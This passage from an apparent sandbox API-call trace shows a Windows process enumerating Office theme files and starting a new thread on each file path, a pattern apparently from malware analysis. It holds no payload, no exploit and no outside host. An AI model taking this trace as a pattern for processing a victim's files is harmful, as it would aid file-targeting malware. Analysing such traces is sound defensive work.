lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12b0 [0062.045] FindNextFileW (in: hFindFile=0x440720, lpFindFileData=0x44e1c8 | out: lpFindFileData=0x44e1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4067b900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4067b900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1763b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.thmx", cAlternateFileName="AUSTIN~1.THM")) returned 1 [0062.045] wcscmp (_String1="Austin.thmx", _String2=".") returned 1 [0062.045] wcscmp (_String1="Austin.thmx", _String2="..") returned 1 [0062.045] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x12e29a18 [0062.045] wcscpy (in: _Dest=0x12e29a18, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0062.045] wcscat (in: _Dest=0x12e29a18, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0062.045] wcscat (in: _Dest=0x12e29a18, _Source="Austin.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx" [0062.045] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e29a18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12b4 [0062.046] FindNextFileW (in: hFindFile=0x440720, lpFindFileData=0x44e1c8 | out: lpFindFileData=0x44e1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x668d5900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x668d5900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9ff03, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.thmx", cAlternateFileName="BLACKT~1.THM")) returned 1 [0062.046] wcscmp (_String1="Black Tie.thmx", _String2=".") returned 1 [0062.046] wcscmp (_String1="Black Tie.thmx", _String2="..") returned 1 [0062.046] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e29fb8 [0062.046] wcscpy (in: _Dest=0x12e29fb8, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0062.046] wcscat (in: _Dest=0x12e29fb8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0062.046] wcscat (in: _Dest=0x12e29fb8, _Source="Black Tie.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx" [0062.046] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e29fb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12b8 [0062.047] FindNextFileW (in: hFindFile=0x440720, lpFindFileData=0x44e1c8 | out: lpFindFileData=0x44e1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ccef00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4ccef00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x18c11, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.thmx", cAlternateFileName="CIVIC~1.THM")) returned 1 [0062.047] wcscmp (_String1="Civic.thmx", _String2=".") returned 1 [0062.047] wcscmp (_String1="Civic.thmx", _String2="..") returned 1 [0062.047] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x5ec6fb0 [0062.048] wcscpy (in: _Dest=0x5ec6fb0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0062.048] wcscat (in: _Dest=0x5ec6fb0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0062.048] wcscat (in: _Dest=0x5ec6fb0, _Source="Civic.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx" [0062.048] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ec6fb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12bc [0062.049] FindNextFileW (in: hFindFile=0x440720, lpFindFileData=0x44e1c8 | out: lpFindFileData=0x44e1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43fb4000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59db6e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x43fb4000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x105f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.thmx", cAlternateFileName="CLARIT~1.THM")) returned 1 [0062.049] wcscmp (_String1="Clarity.thmx", _String2=".") returned 1 [0062.049] wcscmp (_String1="Clarity.thmx", _String2="..") returned 1 [0062.049] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x12e2a0d8 [0062.049] wcscpy (in: _Dest=0x12e2a0d8, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0062.049] wcscat (in: _Dest=0x12e2a0d8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0062.049] wcscat (in: _Dest=0x12e2a0d8, _Source="Clarity.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx" [0062.049] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2a0d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c0 [0062.050] FindNextFileW (in: hFindFile=0x440720, lpFindFileData=0x44e1c8 | out: lpFindFileData=0x44e1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a20e000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a01840, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6a20e000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8ad4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.thmx", cAlternateFileName="COMPOS~1.THM")) returned 1 [0062.050] wcscmp (_String1="Composite.thmx", _String2=".") returned 1 [0062.050] wcscmp (_String1="Composite.thmx", _String2="..") returned 1 [0062.050] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e2a048 [0062.050] wcscpy (in: _Dest=0x12e2a048, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0062.050] wcscat (in: _Dest=0x12e2a048, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0062.050] wcscat (in: _Dest=0x12e2a048, _Source="Composite.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx" [0062.050] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2a048, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c4 [0062.051] FindNextFileW (in: hFindFile=0x440720, lpFindFileData=0x44e1c8 | out: lpFindFileData=0x44e1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8607600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a279a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8607600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1240d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.thmx", cAlternateFileName="CONCOU~1.THM")) returned 1 [0062.051] wcscmp (_String1="Concourse.thmx", _String2=".") returned 1 [0062.051] wcscmp (_String1="Concourse.thmx", _String2="..") returned 1 [0062.051] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e29f28 [0062.051] wcscpy (in: _Dest=0x12e29f28, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0062.051] wcscat (in: _Dest=0x12e29f28, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0062.051] wcscat (in: _Dest=0x12e29f28, _Source="Concourse.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx" [0062.051] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e29f28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c8 [0062.052] FindNextFileW (in: hFindFile=0x440720, lpFindFileData=0x44e1c8 | out: lpFindFileData=0x44e1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee59400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6ee59400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1e92c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.thmx", cAlternateFileName="COUTUR~1.THM")) returned 1 [0062.052] wcscmp (_String1="Couture.thmx", _String2=".") returned 1 [0062.052] wcscmp (_String1="Couture.thmx", _String2="..") returned 1 [0062.052] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x12e29e98 [0062.052] wcscpy (in: _Dest=0x12e29e98, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0062.052] wcscat (in: _Dest=0x12e29e98, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0062.052] wcscat (in: _Dest=0x12e29e98, _Source="Couture.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx" [0062.052] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e29e98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12cc [0062.054] FindNextFileW (in: hFindFile=0x440720, lpFindFileData=0x44e1c8 | out: lpFindFileData=0x44e1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73aa4800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73aa4800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x555df, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.thmx", cAlternateFileName="ELEMEN~1.THM")) returned 1 [0062.054] wcscmp (_String1="Elemental.thmx", _String2=".") returned 1 [0062.054] wcscmp (_String1="Elemental.thmx", _String2="..") returned 1 [0062.054] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e29e08 [0062.054] wcscpy (in: _Dest=0x12e29e08, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0062.054] wcscat (in: _Dest=0x12e29e08, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0062.054] wcscat (in: _Dest=0x12e29e08, _Source="Elemental.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx" [0062.054] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e29e08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12d0 [0062.055] FindNextFileW (in: hFindFile=0x440720, lpFindFileData=0x44e1c8 | out: lpFindFileData=0x44e1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2d000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac2d000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x10f61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.thmx", cAlternateFileName="EQUITY~1.THM")) returned 1 [0062.055] wcscmp (_String1="Equity.thmx", _String2=".") returned 1 [0062.055] wcscmp (_String1="Equity.thmx", _String2="..") returned 1 [0062.055] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x12e29d78 [0062.055] wcscpy (in: _Dest=0x12e29d78, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0062.055] wcscat (in: _Dest=0x12e29d78, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0062.055] wcscat (in: _Dest=0x12e29d78, _Source="Equity.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx" [0062.055] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e29d78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12d4 [0062.056] FindNextFileW (in: hFindFile=0x440720, lpFindFileData=0x44e1c8 | out: lpFindFileData=0x44e1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x478ec700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x478ec700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xc278, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.thmx", cAlternateFileName="ESSENT~1.THM")) returned 1 [0062.056] wcscmp (_String1="Essential.thmx", _String2=".") returned 1 [0062.056] wcscmp (_String1="Essential.thmx", _String2="..") returned 1 [0062.056] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e2a168 [0062.056] wcscpy (in: _Dest=0x12e2a168, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0062.056] wcscat (in: _Dest=0x12e2a168, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0062.056] wcscat (in: _Dest=0x12e2a168, _Source="Essential.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx" [0062.056] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2a168, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12d8 [0062.057] FindNextFileW (in: hFindFile=0x440720, lpFindFileData=0x44e1c8 | out: lpFindFileData=0x44e1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x773dcf00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x773dcf00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.thmx", cAlternateFileName="EXECUT~1.THM")) returned 1 [0062.057] wcscmp (_String1="Executive.thmx", _String2=".") returned 1 [0062.057] wcscmp (_String1="Executive.thmx", _String2="..") returned 1 [0062.057] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e2a288 [0062.057] wcscpy (in: _Dest=0x12e2a288, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0062.057] wcscat (in: _Dest=0x12e2a288, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0062.057] wcscat (in: _Dest=0x12e2a288, _Source="Executive.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx" [0062.057] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2a288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12dc [0062.058] FindNextFileW (in: hFindFile=0x440720, lpFindFileData=0x44e1c8 | out: lpFindFileData=0x44e1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11e9de00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x11e9de00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x100a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.thmx", cAlternateFileName="FLOW~1.THM")) returned 1 [0062.058] wcscmp (_String1="Flow.thmx", _String2=".") returned 1 [0062.058] wcscmp (_String1="Flow.thmx", _String2="..") returned 1 [0062.058] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x5ec7038 [0062.059] wcscpy (in: _Dest=0x5ec7038, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0062.059] wcscat (in: _Dest=0x5ec7038, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0062.059] wcscat (in: _Dest=0x5ec7038, _Source="Flow.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx" [0062.059] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ec7038, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12e0 [0062.060] FindNextFileW (in: hFindFile=0x440720, lpFindFileData=0x44e1c8 | out: lpFindFileData=0x44e1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe565700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe565700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xf814, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.thmx", cAlternateFileName="FOUNDR~1.THM")) returned 1 [0062.060] wcscmp (_String1="Foundry.thmx", _String2=".") returned 1 [0062.060] wcscmp (_String1="Foundry.thmx", _String2="..") returned 1 [0062.060] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x12e2a1f8 [0062.060] wcscpy (in: _Dest=0x12e2a1f8, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0062.060] wcscat (in: _Dest=0x12e2a1f8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0062.060] wcscat (in: _Dest=0x12e2a1f8, _Source="Foundry.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx" [0062.060] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2a1f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12e4 [0062.061] FindNextFileW (in: hFindFile=0x440720, lpFindFileData=0x44e1c8 | out: lpFindFileData=0x44e1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b224e00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4b224e00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd2e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.thmx", cAlternateFileName="GRID~1.THM")) returned 1 [0062.061] wcscmp (_String1="Grid.thmx", _String2=".") returned 1 [0062.061] wcscmp (_String1="Grid.thmx", _String2="..") returned 1 [0062.061] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x5ec70c0 [0062.061] wcscpy (in: _Dest=0x5ec70c0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0062.061] wcscat (in: _Dest=0x5ec70c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0062.061] wcscat (in: _Dest=0x5ec70c0, _Source="Grid.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx" [0062.062] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ec70c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12e8 [0062.062] FindNextFileW (in: hFindFile=0x440720, lpFindFileData=0x44e1c8 | out: lpFindFileData=0x44e1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d84a800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d84a800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x60041, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.thmx", cAlternateFileName="HARDCO~1.THM")) returned 1 [0062.062] wcscmp (_String1="Hardcover.thmx", _String2=".") returned 1 [0062.062] wcscmp (_String1="Hardcover.thmx", _String2="..") returned 1 [0062.063] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e2a318 [0062.063] wcscpy (in: _Dest=0x12e2a318, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0062.063] wcscat (in: _Dest=0x12e2a318, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0062.063] wcscat (in: _Dest=0x12e2a318, _Source="Hardcover.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx" [0062.063] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2a318, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12ec [0062.064] FindNextFileW (in: hFindFile=0x440720, lpFindFileData=0x44e1c8 | out: lpFindFileData=0x44e1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ad15600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7ad15600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x3becb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.thmx", cAlternateFileName="HORIZO~1.THM")) returned 1 [0062.064] wcscmp (_String1="Horizon.thmx", _String2=".") returned 1 [0062.064] wcscmp (_String1="Horizon.thmx", _String2="..") returned 1 [0062.064] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x12e2a3a8 [0062.064] wcscpy (in: _Dest=0x12e2a3a8, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0062.064] wcscat (in: _Dest=0x12e2a3a8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0062.064] wcscat (in: _Dest=0x12e2a3a8, _Source="Horizon.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx" [0062.064] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2a3a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12f0 [0062.065] FindNextFileW (in: hFindFile=0x440720, lpFindFileData=0x44e1c8 | out: lpFindFileData=0x44e1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x157d6500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x157d6500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x146a7, dwReserved0=0x0, dwReserved1=0x0, 